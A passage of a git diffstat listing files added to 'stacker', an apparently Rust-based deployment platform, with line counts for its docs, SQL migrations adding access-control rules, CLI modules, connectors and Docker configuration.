...a60d355d2479811e2bb55d4f6b8163c7ad724.json | 218 + ...3709286b2a50446caa2a609aaf77af12b30bb.json | 17 + ...5f54d89279057657c92305f606522fa142cf7.json | 14 + ...012242345a8b4e4f9d838dc6d44cc34a89433.json | 46 + ...f3db60e67415ccc5254af301adba4438971f5.json | 83 + ...298f6d6f6f231554d80ed621076157af7f80a.json | 25 + ...277ac4a7f94d9f0f448b5549e30fc6cc66e19.json | 197 + ...1e230d6b11d52ab7f6040f612d9f217642b13.json | 82 + ...2077a054026cb2bc0c010aba218506e76110f.json | 76 + ...74e0c9173f355d69459333acf181ff2a82a1c.json | 15 + ...07431de81f886f6a8d6e0fbcd7b6633d30b98.json | 100 + ...c30a215779928a041ef51e93383e93288aac2.json | 76 + ...10bc38e48635c4df0c73c211d345a26cccf4e.json | 46 + ...339d172624d59fff7494f1929c8fe37f564a4.json | 34 + ...4d82beb1dedc0f62405d008f18045df981277.json | 22 + ...3e29118c63af715e14d9b0a50ef672b8b4d97.json | 77 + ...7149b736702a008e920373c139d5cc8f228a5.json | 28 + ...b93cf4838bd1e7e668dafd0fffbd13c90d5aa.json | 14 + ...c7ab98a9e430127baa928fdf87ff8ef85d3c7.json | 53 + ...ac289299f4d03539b9c746324cd183e265553.json | 196 + ...d8c578770e2d52bf531de6e69561a4adbb21c.json | 124 + ...094044e237999123952be7c78b46c937b8778.json | 100 + ...bf3192c3108a2776bb56f36787af3fa884554.json | 14 + ...4e2285b551e817f881b7193fc88189b4001e0.json | 14 + ...812d656a22fbb29d0309e907b7a260dc491d3.json | 15 + ...c2cf689a650fb90bccfb80689ef3c5b73a2b0.json | 196 + ...7ce4e35e61a132eb25c7178b1f96733f6cd34.json | 20 + ...8915ab4494cbd7058fdec868ab93c0fcfb4d8.json | 17 + ...c98fc77ae7c6422dc8eea31fd89863c83ffd3.json | 14 + ...bace6cc4a4d068392f7b58f2d165042ab509e.json | 16 + ...ff3ee63ae5548ce78f244099f9d61ca694312.json | 197 + ...4d81d663436e3a4fc6900d6f066e261ea8c54.json | 82 + ...423869bd7b79dd5b246d80f0b6f39ce4659dc.json | 76 + ...529a5a264451fd8914aaba0062bfd5987d3db.json | 16 + ...89ccf3035f08340bf80a345ff74570cd62043.json | 103 + ...be7a3759a98b5f1c637eb632aa440a1ffadb6.json | 85 + ...69c130a1c5d065df70ce221490356c7eb806a.json | 22 + ...243bc6e8d150bbce86b7c147a9fca07c6d08c.json | 36 + ...01c36b2e69902623f289bd3cc6bf73d2b0ce8.json | 126 + ...8846456587e9c1ad2a52fc5aa58bc989be5a1.json | 126 + ...c48ab4946535a96baf0f49996d79387a3791c.json | 124 + ...031811acea54e4d47bbad2950494e626b807c.json | 53 + ...3ccbe9a3424d81d6db3534ba4a59967b63105.json | 139 + ...2fd0382be589bf5d6dcde690b63f281160159.json | 15 + ...fe27d2ee90aa4598b17d90e5db82244ad6ff1.json | 14 + ...47fbcd0626347744c7f8de6dce25d6e9a1fe7.json | 46 + ...7480579468a5cb4ecdf7b315920b5e0bd894c.json | 106 + ...53b4d76ec4c4dea338877ef5ba72fa49c28ad.json | 22 + ...dc1e9ccacb150cdba0063dd71ff6133eef99c.json | 14 + ...b82a392e59683b9dfa1c457974e8fa8b7d00f.json | 22 + ...1b851fb9d7b74a3ec519c9149f4948880d1be.json | 14 + ...7ba89da5a49c211c8627c314b8a32c92a62e1.json | 124 + ...6790f3e5971d7a2bff2d32f2d92590ec3393d.json | 87 + ...756595265b21dd6f7a06a2f7a846d162b340c.json | 100 + ...753d2d19be70b8fd380a73c704e4ae51b3ae8.json | 52 + ...dc00c95626c94f0f02cbc69336836f95ec45e.json | 46 + ...ff7f21bafde8c7c1306cc7efc976a9eae0071.json | 25 + ...8ff21ea671df07397a4f84fff3c2cb9bdec91.json | 23 + ...153f90eefabe5a252f86d5e8d1964785025c0.json | 16 + ...9af74e5fcec7b951cf1f28eef3d4ba9459717.json | 15 + ...1f823cc91662394ec8025b7ef486b85374411.json | 125 + ...aaa891d03210da3c4ffe2bc7be18efcfc52bd.json | 19 + ...2094f0cf8736710de08963fff1178f2b62974.json | 100 + ...6cbee7b72e99977fd028a28d3e2f45be14225.json | 52 + ...62341bcc8f006dcfcd91033691ce35a2d5cb7.json | 22 + ...445dc1f4b2d659a3805f92f6f5f83b562266b.json | 76 + ...6593303ef635f9a93707996f86ae4a5db1e99.json | 54 + ...39c1cc03348eb4b4fe698ad06283ba7072b7f.json | 113 + ...7ea36f2a01b6b778fd61921e0046ad3f2efb2.json | 47 + ...5f527ab75ef319ef0584851feb5b893a9fa46.json | 14 + ...03399e5d8b6713dcfb5f3bc704ef98842669d.json | 14 + ...5c23d56315ad817bea716d6a71c8b2bb18087.json | 44 + ...179bfa6025ef0a7f1245d59b8dfca1f421c63.json | 82 + ...7a55dccaaeb0fe55d5eabb7319a90cbdfe951.json | 85 + ...e1252aab3be67b016e9dc10a40ba229225b68.json | 90 + ...329737a3ce95efe860659aa5a85888b82c4d3.json | 14 + ...f7b9143ee3a6fc9b363f93d0c816d44ebbbb0.json | 14 + ...6310aea0a7dd4c8fc5f7c2cff4dac327cf3f7.json | 23 + ...35cc601af9ca4a06bd87100cd68a251431618.json | 83 + ...83a5339d0a631fc702082f95642ebb0c1d3a7.json | 14 + ...99280f8140801c861122c5cbe59faa9797016.json | 31 + ...038846f0cb4440e4b377d495ffe0f0bfc11b6.json | 34 + ...b8c71c1f4fd980368cbf872cb8954c1c7be9e.json | 84 + ...89ea77781df5a251a6731b42f8ddefb8a4c8b.json | 100 + ...41f06835f8687122987d87fad751981b0c2b1.json | 101 + ...e1b5f91dfb6e64e3011628922b34bbccf0ea4.json | 130 + ...dfebd5dd137795ab393492b02ab517546a708.json | 218 + ...865d0612bc0d3f620d5cba76a6b44a8812417.json | 48 + ...a1f5406b31542b6b0219d7daa1705bf7b2f37.json | 22 + stacker/stacker/.stacker/active-target | 1 + .../stacker/.stacker/deployment-local.lock | 11 + ...b4d120121d1678b513eb10107c8629805d7b2.json | 195 + ...d80d8cb89dd0559523389403168c11dcf1d2d.json | 195 + stacker/stacker/ANALYSIS_README.md | 332 + stacker/stacker/BUILD_RELEASE.md | 45 + stacker/stacker/CHANGELOG.md | 759 ++ stacker/stacker/CLAUDE.md | 103 + stacker/stacker/CODE_SNIPPETS.md | 605 ++ stacker/stacker/Cargo.lock | 8460 +++++++++++++++++ stacker/stacker/Cargo.toml | 134 + stacker/stacker/DOCKERHUB.md | 309 + stacker/stacker/DOCUMENTATION_MAP.txt | 204 + stacker/stacker/Dockerfile | 64 + stacker/stacker/IMPLEMENTATION_GUIDE.md | 1131 +++ stacker/stacker/Makefile | 26 + stacker/stacker/QUICK_REFERENCE.md | 283 + stacker/stacker/README.md | 505 + stacker/stacker/START_HERE.md | 292 + stacker/stacker/TODO.md | 1266 +++ stacker/stacker/access_control.conf.dist | 14 + stacker/stacker/assets/logo/stacker.png | Bin 0 -> 47673 bytes stacker/stacker/build.rs | 100 + stacker/stacker/configuration.yaml.dist | 95 + stacker/stacker/copilot-instructions.md | 512 + stacker/stacker/crates/TODO.md | 173 + .../crates/pipe-adapter-mail/Cargo.toml | 22 + .../stacker/crates/pipe-adapter-mail/TODO.md | 12 + .../crates/pipe-adapter-mail/src/lib.rs | 1235 +++ .../crates/pipe-adapter-sdk/Cargo.toml | 10 + .../crates/pipe-adapter-sdk/src/lib.rs | 298 + stacker/stacker/docker-compose.dev.yml | 115 + stacker/stacker/docker-compose.yml | 69 + stacker/stacker/docker/dev/docker-compose.yml | 109 + stacker/stacker/docker/dev/postgresql.conf | 798 ++ .../stacker/docs/AI_DEPLOYMENT_WORKFLOWS.md | 204 + stacker/stacker/docs/APP_DEPLOYMENT.md | 485 + .../docs/DAG_PIPES_DEVELOPER_MANUAL.md | 23 + .../stacker/docs/DAG_PIPES_PART1_CLI_GUIDE.md | 380 + .../docs/DAG_PIPES_PART2_WEB_EDITOR.md | 189 + .../docs/DAG_PIPES_PART3_API_DEEP_DIVE.md | 481 + .../stacker/docs/MCP_SERVER_BACKEND_PLAN.md | 1224 +++ .../docs/MCP_SERVER_FRONTEND_INTEGRATION.md | 1450 +++ stacker/stacker/docs/PIPING.md | 398 + stacker/stacker/docs/STACKER_YML_REFERENCE.md | 1650 ++++ ...aw-kata-containers-secure-ai-deployment.md | 318 + .../stacker/docs/kata/HETZNER_KVM_GUIDE.md | 160 + stacker/stacker/docs/kata/MONITORING.md | 75 + .../stacker/docs/kata/NETWORK_CONSTRAINTS.md | 126 + stacker/stacker/docs/kata/README.md | 157 + .../stacker/docs/kata/ansible/kata-setup.yml | 190 + stacker/stacker/docs/kata/terraform/main.tf | 102 + .../stacker/docs/kata/terraform/outputs.tf | 28 + .../stacker/docs/kata/terraform/variables.tf | 48 + stacker/stacker/install.sh | 147 + .../.stacker/docker-compose.yml | 34 + .../stacker/local-only-settings/Dockerfile | 39 + .../MULTI_SERVER_DEPLOYMENT.md | 50 + .../local-only-settings/STACKER_CLI_PLAN.md | 1973 ++++ .../local-only-settings/stacker-deploy.yml | 23 + stacker/stacker/migrate-postgres-18.sh | 72 + ...0903063840_creating_rating_tables.down.sql | 10 + ...230903063840_creating_rating_tables.up.sql | 39 + ...30905145525_creating_stack_tables.down.sql | 2 + ...0230905145525_creating_stack_tables.up.sql | 14 + ...30917162549_creating_test_product.down.sql | 1 + ...0230917162549_creating_test_product.up.sql | 1 + .../migrations/20231028161917_client.down.sql | 2 + .../migrations/20231028161917_client.up.sql | 10 + .../20240128174529_casbin_rule.down.sql | 2 + .../20240128174529_casbin_rule.up.sql | 12 + ...240228125751_creating_deployments.down.sql | 2 + ...20240228125751_creating_deployments.up.sql | 14 + .../20240229072555_creating_cloud.down.sql | 2 + .../20240229072555_creating_cloud.up.sql | 14 + ...reating_user_stack_cloud_relation.down.sql | 2 + ..._creating_user_stack_cloud_relation.up.sql | 3 + ...40229080559_creating_cloud_server.down.sql | 3 + ...0240229080559_creating_cloud_server.up.sql | 22 + ...g_original_request_column_project.down.sql | 2 + ...ing_original_request_column_project.up.sql | 1 + ...7113718_alter_cloud_alter_project.down.sql | 3 + ...307113718_alter_cloud_alter_project.up.sql | 3 + ...43712_remove_cloud_id_from_server.down.sql | 3 + ...5143712_remove_cloud_id_from_server.up.sql | 2 + ...240401103123_casbin_initial_rules.down.sql | 1 + ...20240401103123_casbin_initial_rules.up.sql | 40 + ...4313_remove_project_id_from_cloud.down.sql | 2 + ...184313_remove_project_id_from_cloud.up.sql | 3 + ...412141011_casbin_user_rating_edit.down.sql | 18 + ...40412141011_casbin_user_rating_edit.up.sql | 18 + ...62041_add_server_ip_ssh_user_port.down.sql | 5 + ...9162041_add_server_ip_ssh_user_port.up.sql | 5 + ...0711134750_server_nullable_fields.down.sql | 6 + ...240711134750_server_nullable_fields.up.sql | 6 + .../20240716114826_agreement_tables.down.sql | 8 + .../20240716114826_agreement_tables.up.sql | 24 + ...0717070823_agreement_casbin_rules.down.sql | 3 + ...240717070823_agreement_casbin_rules.up.sql | 12 + ...ement_created_updated_default_now.down.sql | 1 + ...reement_created_updated_default_now.up.sql | 6 + ...20240718082702_agreement_accepted.down.sql | 2 + .../20240718082702_agreement_accepted.up.sql | 2 + ...0218_update_deployment_for_agents.down.sql | 5 + ...160218_update_deployment_for_agents.up.sql | 19 + ...60219_create_agents_and_audit_log.down.sql | 3 + ...2160219_create_agents_and_audit_log.up.sql | 35 + ...20251222160220_casbin_agent_rules.down.sql | 18 + .../20251222160220_casbin_agent_rules.up.sql | 30 + ...2163002_create_commands_and_queue.down.sql | 3 + ...222163002_create_commands_and_queue.up.sql | 40 + ...251222163632_casbin_command_rules.down.sql | 4 + ...20251222163632_casbin_command_rules.up.sql | 20 + ...fix_commands_queue_and_updated_at.down.sql | 13 + ...0_fix_commands_queue_and_updated_at.up.sql | 15 + ...51222224041_fix_timestamp_columns.down.sql | 8 + ...0251222224041_fix_timestamp_columns.up.sql | 8 + ...z_for_agents_deployments_commands.down.sql | 26 + ...ptz_for_agents_deployments_commands.up.sql | 26 + .../20251223100000_casbin_agent_rules.up.sql | 1 + ...23120000_project_body_to_metadata.down.sql | 2 + ...1223120000_project_body_to_metadata.up.sql | 2 + ...0_casbin_agent_and_commands_rules.down.sql | 24 + ...000_casbin_agent_and_commands_rules.up.sql | 27 + ...227000000_casbin_root_admin_group.down.sql | 3 + ...51227000000_casbin_root_admin_group.up.sql | 5 + ..._add_group_admin_project_get_rule.down.sql | 3 + ...00_add_group_admin_project_get_rule.up.sql | 4 + ...0251227140000_casbin_mcp_endpoint.down.sql | 7 + .../20251227140000_casbin_mcp_endpoint.up.sql | 8 + .../20251229120000_marketplace.down.sql | 31 + .../20251229120000_marketplace.up.sql | 155 + ...29121000_casbin_marketplace_rules.down.sql | 12 + ...1229121000_casbin_marketplace_rules.up.sql | 16 + ...1230094608_add_required_plan_name.down.sql | 2 + ...251230094608_add_required_plan_name.up.sql | 2 + ...100000_add_marketplace_plans_rule.down.sql | 2 + ...30100000_add_marketplace_plans_rule.up.sql | 4 + ...090000_casbin_admin_inherits_user.down.sql | 9 + ...01090000_casbin_admin_inherits_user.up.sql | 4 + ...0260102120000_add_category_fields.down.sql | 7 + .../20260102120000_add_category_fields.up.sql | 7 + ...102140000_casbin_categories_rules.down.sql | 4 + ...60102140000_casbin_categories_rules.up.sql | 6 + ...n_marketplace_admin_creator_rules.down.sql | 4 + ...bin_marketplace_admin_creator_rules.up.sql | 6 + ...20000_casbin_health_metrics_rules.down.sql | 7 + ...3120000_casbin_health_metrics_rules.up.sql | 17 + ...120000_casbin_admin_service_rules.down.sql | 7 + ...04120000_casbin_admin_service_rules.up.sql | 24 + ...0105214000_casbin_dockerhub_rules.down.sql | 8 + ...260105214000_casbin_dockerhub_rules.up.sql | 23 + ...42135_remove_agents_deployment_fk.down.sql | 7 + ...6142135_remove_agents_deployment_fk.up.sql | 6 + ...106_casbin_user_rating_idempotent.down.sql | 1 + ...60106_casbin_user_rating_idempotent.up.sql | 24 + ...00_admin_service_role_inheritance.down.sql | 9 + ...3000_admin_service_role_inheritance.up.sql | 4 + ...000_extend_deployment_hash_length.down.sql | 21 + ...33000_extend_deployment_hash_length.up.sql | 21 + ...000_remove_commands_deployment_fk.down.sql | 3 + ...20000_remove_commands_deployment_fk.up.sql | 2 + ...260113000001_fix_command_queue_fk.down.sql | 12 + ...20260113000001_fix_command_queue_fk.up.sql | 12 + ...113000002_fix_audit_log_timestamp.down.sql | 3 + ...60113000002_fix_audit_log_timestamp.up.sql | 3 + ...000_add_deployment_capabilities_acl.up.sql | 7 + ...120000_casbin_agent_enqueue_rules.down.sql | 4 + ...14120000_casbin_agent_enqueue_rules.up.sql | 14 + ...60114160000_casbin_agent_role_fix.down.sql | 10 + ...0260114160000_casbin_agent_role_fix.up.sql | 18 + ...20000_casbin_command_client_rules.down.sql | 12 + ...5120000_casbin_command_client_rules.up.sql | 14 + ...22120000_create_project_app_table.down.sql | 8 + ...0122120000_create_project_app_table.up.sql | 59 + ...23120000_server_selection_columns.down.sql | 6 + ...0123120000_server_selection_columns.up.sql | 13 + ...0260123140000_casbin_server_rules.down.sql | 5 + .../20260123140000_casbin_server_rules.up.sql | 27 + ...t_casbin_rule_agent_deployments_get.up.sql | 19 + ...60129120000_add_config_versioning.down.sql | 8 + ...0260129120000_add_config_versioning.up.sql | 16 + ...0_add_config_files_to_project_app.down.sql | 4 + ...000_add_config_files_to_project_app.up.sql | 26 + ...0_add_config_files_to_project_app.down.sql | 4 + ...000_add_config_files_to_project_app.up.sql | 26 + ...120000_casbin_commands_post_rules.down.sql | 26 + ...31120000_casbin_commands_post_rules.up.sql | 47 + ...31121000_casbin_apps_status_rules.down.sql | 5 + ...0131121000_casbin_apps_status_rules.up.sql | 8 + ...0260202120000_add_parent_app_code.down.sql | 4 + .../20260202120000_add_parent_app_code.up.sql | 11 + ..._casbin_container_discovery_rules.down.sql | 4 + ...00_casbin_container_discovery_rules.up.sql | 13 + ...06120000_casbin_project_app_rules.down.sql | 13 + ...0206120000_casbin_project_app_rules.up.sql | 24 + ...120000_casbin_root_to_group_admin.down.sql | 2 + ...09120000_casbin_root_to_group_admin.up.sql | 7 + ...0000_casbin_admin_template_detail.down.sql | 5 + ...130000_casbin_admin_template_detail.up.sql | 16 + ...140000_casbin_admin_security_scan.down.sql | 3 + ...10140000_casbin_admin_security_scan.up.sql | 16 + ...10150000_casbin_resubmit_template.down.sql | 2 + ...0210150000_casbin_resubmit_template.up.sql | 25 + ...0210160000_casbin_admin_unapprove.down.sql | 3 + ...260210160000_casbin_admin_unapprove.up.sql | 12 + ...000_add_pricing_to_stack_template.down.sql | 3 + ...00000_add_pricing_to_stack_template.up.sql | 5 + ..._add_deployment_id_to_project_app.down.sql | 11 + ...00_add_deployment_id_to_project_app.up.sql | 39 + ...0213100000_add_cloud_id_to_server.down.sql | 3 + ...260213100000_add_cloud_id_to_server.up.sql | 8 + ...120000_casbin_server_ssh_validate.down.sql | 4 + ...17120000_casbin_server_ssh_validate.up.sql | 6 + ..._casbin_container_discovery_paths.down.sql | 18 + ...ix_casbin_container_discovery_paths.up.sql | 22 + ...9120000_create_chat_conversations.down.sql | 1 + ...219120000_create_chat_conversations.up.sql | 18 + .../20260219130000_casbin_chat_rules.down.sql | 3 + .../20260219130000_casbin_chat_rules.up.sql | 11 + ...00_casbin_deployment_status_rules.down.sql | 6 + ...0000_casbin_deployment_status_rules.up.sql | 6 + ...00_fix_casbin_agent_register_anon.down.sql | 6 + ...0000_fix_casbin_agent_register_anon.up.sql | 11 + .../20260306120000_add_cloud_name.down.sql | 2 + .../20260306120000_add_cloud_name.up.sql | 12 + ...190000_casbin_client_role_mapping.down.sql | 9 + ...06190000_casbin_client_role_mapping.up.sql | 44 + ...311140000_casbin_deployments_list.down.sql | 6 + ...60311140000_casbin_deployments_list.up.sql | 5 + ..._casbin_deployment_force_complete.down.sql | 5 + ...00_casbin_deployment_force_complete.up.sql | 5 + ...210000_command_queue_cleanup_cron.down.sql | 10 + ...12210000_command_queue_cleanup_cron.up.sql | 59 + ...000_casbin_agent_login_link_rules.down.sql | 6 + ...20000_casbin_agent_login_link_rules.up.sql | 13 + ...20260320120000_create_pipe_tables.down.sql | 2 + .../20260320120000_create_pipe_tables.up.sql | 44 + .../20260321000000_agent_audit_log.down.sql | 1 + .../20260321000000_agent_audit_log.up.sql | 13 + ...20000_casbin_deployment_hash_rule.down.sql | 6 + ...4120000_casbin_deployment_hash_rule.up.sql | 5 + ...4130000_casbin_agent_project_rule.down.sql | 5 + ...324130000_casbin_agent_project_rule.up.sql | 5 + ...4140000_casbin_admin_compose_rule.down.sql | 6 + ...324140000_casbin_admin_compose_rule.up.sql | 6 + ...0000_casbin_template_reviews_rule.down.sql | 1 + ...100000_casbin_template_reviews_rule.up.sql | 2 + ..._casbin_admin_compose_group_admin.down.sql | 5 + ...00_casbin_admin_compose_group_admin.up.sql | 8 + ...d_verifications_to_stack_template.down.sql | 1 + ...add_verifications_to_stack_template.up.sql | 5 + ...0_casbin_admin_verifications_rule.down.sql | 4 + ...000_casbin_admin_verifications_rule.up.sql | 16 + ...2000_casbin_dockerhub_events_rule.down.sql | 2 + ...132000_casbin_dockerhub_events_rule.up.sql | 8 + ...60331140000_deployment_fk_cascade.down.sql | 5 + ...0260331140000_deployment_fk_cascade.up.sql | 8 + ...6170000_add_runtime_to_deployment.down.sql | 3 + ...406170000_add_runtime_to_deployment.up.sql | 9 + ...0410120000_create_pipe_executions.down.sql | 1 + ...260410120000_create_pipe_executions.up.sql | 20 + ...re_requirements_to_stack_template.down.sql | 2 + ...ture_requirements_to_stack_template.up.sql | 2 + ...create_marketplace_vendor_profile.down.sql | 1 + ...0_create_marketplace_vendor_profile.up.sql | 15 + ..._changes_status_to_stack_template.down.sql | 14 + ...ds_changes_status_to_stack_template.up.sql | 15 + ...0_casbin_admin_needs_changes_rule.down.sql | 4 + ...000_casbin_admin_needs_changes_rule.up.sql | 11 + ..._casbin_admin_vendor_profile_rule.down.sql | 4 + ...00_casbin_admin_vendor_profile_rule.up.sql | 16 + ...mplate_vendor_profile_status_rule.down.sql | 4 + ...template_vendor_profile_status_rule.up.sql | 7 + ...0_casbin_self_vendor_profile_rule.down.sql | 4 + ...000_casbin_self_vendor_profile_rule.up.sql | 7 + ...sbin_creator_onboarding_link_rule.down.sql | 4 + ...casbin_creator_onboarding_link_rule.up.sql | 7 + ..._creator_onboarding_complete_rule.down.sql | 4 + ...in_creator_onboarding_complete_rule.up.sql | 7 + ...260412113000_casbin_handoff_rules.down.sql | 5 + ...20260412113000_casbin_handoff_rules.up.sql | 9 + ...3000_casbin_project_rollback_rule.down.sql | 5 + ...083000_casbin_project_rollback_rule.up.sql | 7 + ...84500_create_project_member_table.down.sql | 2 + ...3084500_create_project_member_table.up.sql | 11 + ...085000_casbin_project_member_rule.down.sql | 4 + ...13085000_casbin_project_member_rule.up.sql | 3 + ...093000_casbin_project_shared_rule.down.sql | 4 + ...13093000_casbin_project_shared_rule.up.sql | 3 + ...asbin_project_member_manage_rules.down.sql | 5 + ..._casbin_project_member_manage_rules.up.sql | 7 + ...164000_agreement_api_casbin_rules.down.sql | 8 + ...24164000_agreement_api_casbin_rules.up.sql | 9 + .../20260426000000_seed_agreement.down.sql | 1 + .../20260426000000_seed_agreement.up.sql | 11 + ..._enrich_marketplace_template_form.down.sql | 7 + ...14_enrich_marketplace_template_form.up.sql | 14 + ...asbin_marketplace_deploy_complete.down.sql | 5 + ..._casbin_marketplace_deploy_complete.up.sql | 3 + ...arketplace_deploy_complete_events.down.sql | 1 + ..._marketplace_deploy_complete_events.up.sql | 10 + ...143000_marketplace_version_assets.down.sql | 3 + ...26143000_marketplace_version_assets.up.sql | 7 + ...rketplace_version_contract_mirror.down.sql | 5 + ...marketplace_version_contract_mirror.up.sql | 5 + ...000_marketplace_creator_analytics.down.sql | 7 + ...62000_marketplace_creator_analytics.up.sql | 29 + ...casbin_marketplace_v1_asset_rules.down.sql | 11 + ...0_casbin_marketplace_v1_asset_rules.up.sql | 10 + ...120000_create_remote_secret_table.down.sql | 3 + ...02120000_create_remote_secret_table.up.sql | 53 + ...00_add_casbin_remote_secret_rules.down.sql | 18 + ...1500_add_casbin_remote_secret_rules.up.sql | 19 + ...api_v1_remote_secret_casbin_rules.down.sql | 10 + ...d_api_v1_remote_secret_casbin_rules.up.sql | 9 + ...0_casbin_agent_notifications_rule.down.sql | 7 + ...000_casbin_agent_notifications_rule.up.sql | 5 + .../20260714120000_casbin_pipe_rules.down.sql | 12 + .../20260714120000_casbin_pipe_rules.up.sql | 21 + ...0_casbin_audit_capabilities_rules.down.sql | 5 + ...000_casbin_audit_capabilities_rules.up.sql | 24 + ...6120000_casbin_admin_pricing_rule.down.sql | 3 + ...716120000_casbin_admin_pricing_rule.up.sql | 6 + .../20260717120000_create_dag_tables.down.sql | 6 + .../20260717120000_create_dag_tables.up.sql | 56 + .../20260717120001_casbin_dag_routes.down.sql | 3 + .../20260717120001_casbin_dag_routes.up.sql | 25 + ...17120002_create_resilience_tables.down.sql | 2 + ...0717120002_create_resilience_tables.up.sql | 39 + ...17120003_casbin_resilience_routes.down.sql | 3 + ...0717120003_casbin_resilience_routes.up.sql | 27 + ...20004_casbin_dag_execution_routes.down.sql | 4 + ...7120004_casbin_dag_execution_routes.up.sql | 15 + ...7120005_casbin_prometheus_metrics.down.sql | 4 + ...717120005_casbin_prometheus_metrics.up.sql | 12 + ...717120006_casbin_streaming_routes.down.sql | 3 + ...60717120006_casbin_streaming_routes.up.sql | 8 + ...260717120007_streaming_step_types.down.sql | 14 + ...20260717120007_streaming_step_types.up.sql | 10 + ...20260717120008_casbin_field_match.down.sql | 1 + .../20260717120008_casbin_field_match.up.sql | 6 + .../20260717120009_cdc_tables.down.sql | 18 + .../20260717120009_cdc_tables.up.sql | 76 + ...260717120010_casbin_editor_policy.down.sql | 2 + ...20260717120010_casbin_editor_policy.up.sql | 5 + .../20260717120011_pipe_local_mode.down.sql | 10 + .../20260717120011_pipe_local_mode.up.sql | 10 + .../20260717120012_marketplace_event.down.sql | 1 + .../20260717120012_marketplace_event.up.sql | 18 + ..._casbin_creator_vendor_group_user.down.sql | 2 + ...13_casbin_creator_vendor_group_user.up.sql | 13 + ...n_server_ssh_authorize_public_key.down.sql | 8 + ...bin_server_ssh_authorize_public_key.up.sql | 5 + ..._nginx_proxy_manager_project_apps.down.sql | 2 + ...up_nginx_proxy_manager_project_apps.up.sql | 2 + ...60717120016_casbin_cloud_firewall.down.sql | 8 + ...0260717120016_casbin_cloud_firewall.up.sql | 6 + ...7120017_casbin_project_app_delete.down.sql | 10 + ...717120017_casbin_project_app_delete.up.sql | 7 + ...18_casbin_mcp_remote_secret_tools.down.sql | 101 + ...0018_casbin_mcp_remote_secret_tools.up.sql | 99 + ...19_casbin_mcp_ai_deployment_tools.down.sql | 34 + ...0019_casbin_mcp_ai_deployment_tools.up.sql | 27 + ...0717120020_pipe_instance_adapters.down.sql | 3 + ...260717120020_pipe_instance_adapters.up.sql | 3 + ...anonymous_deployment_capabilities.down.sql | 16 + ...e_anonymous_deployment_capabilities.up.sql | 6 + .../.vite/deps_temp_0b5f61c2/package.json | 3 + stacker/stacker/package-lock.json | 33 + stacker/stacker/package.json | 5 + .../plan/feature-project-runtime-path-1.md | 200 + stacker/stacker/proto/pipe.proto | 31 + stacker/stacker/renovate.json | 6 + stacker/stacker/rustfmt.toml | 1 + .../qwen2.5-code/website-deploy/scenario.yaml | 47 + .../website-deploy/steps/01-init-validate.md | 12 + .../website-deploy/steps/02-image-publish.md | 12 + .../website-deploy/steps/03-cloud-deploy.md | 12 + .../steps/04-agent-firewall-dns-proxy.md | 12 + .../website-deploy/steps/05-runtime-ops.md | 12 + stacker/stacker/scripts/init_db.sh | 42 + stacker/stacker/scripts/install.sh | 147 + stacker/stacker/src/banner.rs | 64 + stacker/stacker/src/bin/agent_executor.rs | 289 + stacker/stacker/src/bin/stacker.rs | 2955 ++++++ stacker/stacker/src/cli/ai_client.rs | 1732 ++++ stacker/stacker/src/cli/ai_field_matcher.rs | 354 + stacker/stacker/src/cli/ai_pipe_suggest.rs | 279 + stacker/stacker/src/cli/ai_scanner.rs | 1012 ++ stacker/stacker/src/cli/ai_scenarios.rs | 813 ++ stacker/stacker/src/cli/ci_export.rs | 317 + stacker/stacker/src/cli/cloud_env.rs | 110 + .../stacker/src/cli/compose_service_sync.rs | 339 + stacker/stacker/src/cli/compose_targets.rs | 429 + stacker/stacker/src/cli/config_bundle.rs | 768 ++ stacker/stacker/src/cli/config_check.rs | 254 + stacker/stacker/src/cli/config_contract.rs | 173 + stacker/stacker/src/cli/config_diff.rs | 322 + stacker/stacker/src/cli/config_inventory.rs | 903 ++ stacker/stacker/src/cli/config_parser.rs | 2271 +++++ stacker/stacker/src/cli/config_promote.rs | 181 + stacker/stacker/src/cli/credentials.rs | 966 ++ stacker/stacker/src/cli/debug.rs | 84 + stacker/stacker/src/cli/deployment_lock.rs | 660 ++ stacker/stacker/src/cli/detector.rs | 773 ++ stacker/stacker/src/cli/error.rs | 487 + stacker/stacker/src/cli/field_matcher.rs | 329 + stacker/stacker/src/cli/fmt.rs | 65 + stacker/stacker/src/cli/generator/compose.rs | 807 ++ .../stacker/src/cli/generator/dockerfile.rs | 525 + stacker/stacker/src/cli/generator/mod.rs | 2 + stacker/stacker/src/cli/install_runner.rs | 2819 ++++++ stacker/stacker/src/cli/local_compose.rs | 111 + stacker/stacker/src/cli/local_pipe_store.rs | 642 ++ stacker/stacker/src/cli/ml_field_matcher.rs | 527 + stacker/stacker/src/cli/mod.rs | 34 + stacker/stacker/src/cli/progress.rs | 116 + stacker/stacker/src/cli/proxy_manager.rs | 778 ++ stacker/stacker/src/cli/runtime.rs | 63 + stacker/stacker/src/cli/service_catalog.rs | 682 ++ stacker/stacker/src/cli/service_import.rs | 669 ++ stacker/stacker/src/cli/stacker_client.rs | 4795 ++++++++++ stacker/stacker/src/configuration.rs | 563 ++ stacker/stacker/src/connectors/README.md | 531 ++ .../src/connectors/admin_service/jwt.rs | 136 + .../src/connectors/admin_service/mod.rs | 10 + .../src/connectors/app_service_catalog.rs | 181 + stacker/stacker/src/connectors/config.rs | 183 + .../src/connectors/dockerhub_service.rs | 728 ++ stacker/stacker/src/connectors/errors.rs | 81 + stacker/stacker/src/connectors/hetzner.rs | 311 + .../src/connectors/install_service/client.rs | 197 + .../src/connectors/install_service/init.rs | 22 + .../src/connectors/install_service/mock.rs | 57 + .../src/connectors/install_service/mod.rs | 45 + stacker/stacker/src/connectors/mod.rs | 77 + .../src/connectors/user_service/app.rs | 220 + .../connectors/user_service/category_sync.rs | 87 + .../src/connectors/user_service/client.rs | 600 ++ .../src/connectors/user_service/connector.rs | 71 + .../user_service/deployment_resolver.rs | 341 + .../user_service/deployment_validator.rs | 360 + .../src/connectors/user_service/error.rs | 1 + .../src/connectors/user_service/init.rs | 59 + .../src/connectors/user_service/install.rs | 325 + .../user_service/marketplace_search.rs | 129 + .../user_service/marketplace_webhook.rs | 1064 +++ .../src/connectors/user_service/mock.rs | 186 + .../src/connectors/user_service/mod.rs | 35 + .../connectors/user_service/notifications.rs | 142 + .../src/connectors/user_service/plan.rs | 91 + .../src/connectors/user_service/profile.rs | 36 + .../src/connectors/user_service/stack.rs | 164 + .../src/connectors/user_service/tests.rs | 463 + .../src/connectors/user_service/types.rs | 82 + .../src/connectors/user_service/utils.rs | 21 + .../stacker/src/console/commands/agent/mod.rs | 3 + .../console/commands/agent/rotate_token.rs | 48 + .../src/console/commands/appclient/mod.rs | 3 + .../src/console/commands/appclient/new.rs | 43 + 